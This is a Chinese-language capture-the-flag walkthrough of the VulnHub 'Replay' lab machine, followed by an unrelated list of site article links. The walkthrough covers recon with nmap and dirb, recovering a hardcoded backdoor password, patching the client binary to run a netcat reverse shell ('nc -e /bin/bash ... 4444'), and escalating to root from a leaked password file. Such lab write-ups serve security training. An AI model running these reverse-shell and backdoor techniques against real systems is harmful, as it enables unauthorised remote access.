Replay_CTF靶机渗透
靶机环境
- 靶机(Linux): 192.168.40.137
- 攻击机(Kali): 192.168.40.129
下载地址:https://www.vulnhub.com/entry/replay-1,278/
渗透过程
按照惯例,得先找到对方IP,所以 nmap192.168.40.0/24
扫描一下
找到靶机的IP为192.168.40.137,开启了两个端口,ssh和http
打开网页查看一下
在源代码中发现了一条注释的内容,暂时不知道有什么用,所以先放着
按照流程,接下来应该爆破目录了
dirb http://192.168.40.137/ /usr/share/dirb/wordlist/comment.txt
找到网站是存在robots.txt这个文件的
扫描子目录的多少和字典有关系,有的robots.txt中会存在一些扫描不到的东西,所以还是有访问价值的),访问后发现根目录下有一个 .zip
文件
下载下来后解压,看到有两个文件
changelog.txt
是更新日志,先看一下网站的更新内容,打开文件后发现文件部分内容为base64编码,拎去解码后的明文如下
从4个版本中可以看到,这个作者在网站中创建了一个后门程序,用于他自己连接,这个后门程序是 python2.7
版本写的, 硬编码
成了 .bin
文件,所以我们也可以顺便利用一下, ./client.bin
后发现需要输入密码
用vim打开.bin文件后, /password
搜索找到了2nd(第二部分)的密码,故而猜测是和前面P1拼接在一起的,回头复制粘贴拼接密码
密码:qGQjwO4h6gh0TAIRNXuQcDu9Lqsyul
有了账号密码后,运行.bin文件 输入了IP和密码后,发现执行了一条 whoami
命令,这部分应该是写进.bin里面的
所以vim进入 client.bin
,查找 whoami
找到了执行命令的这一部分,那么就可以开始反弹shell了,因为是硬编码的缘故,所以字符数量必须和之前的一样,否则不能运行,就好比,100个字符的文件,不论怎么修改,最后都只能100字符,否则就无法运行;那么我们先构造反弹的语句
nc -e /bin/bash 192.168.40.137 4444
为了程序能正常运行,所以我们得把前面的一些字符串删除,以此来达到“平衡” 在Python中计算反弹语句的长度为 35
原先的命令 whoami
为6位,所以我们得向前删除29位,最后的样子是这个
接着在Kali中开启监听
nc -lvp 4444
开启完成后,运行后门程序,触发shell
得到shell后,开始提权
在 /home/bob/Document/.ftp/
目录下发现了一个 .user.passwd
cat查看后,找到了bob的密码,直接 sudu su
输入密码就切换成了root
最后,在根目录下发现flag.txt, cat flag.txt
获取flag,完成
总结
这个靶机在进入系统后的提权简直弱智,就像是为了增加这么一个环节而强行增加上去的一样,毫无技术含量,你能找得到文件就能提权,找不到就万年 bob
,前面后门程序部分还是挺有意思的
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Spring Security 实战干货:理解AuthenticationManager
- 深度学习|Tensorflow2.0基础
- 【Rust日报】2020-07-20 boids算法, tide, popol, Calcite
- Cell Ontology:解析细胞类型新维度
- 软件设计思想:池化技术
- MySQL变量声明、赋值和使用
- Google Analytics和Adobe Analytics中的数据层dataLayer
- java多线程关键字volatile、lock、synchronized
- 操作系统基础 - 线程级并发
- SpringBoot使用ActiveMq同时支持点对点推送和发布订阅
- 《内网安全攻防》学习笔记,第二章-域内信息收集
- 献给每一位母亲
- JUC学习之生产者和消费者
- 在 WSL 2 中基于 Docker 编排 LNMP 运行环境
- PHP 魔术方法、序列化与对象复制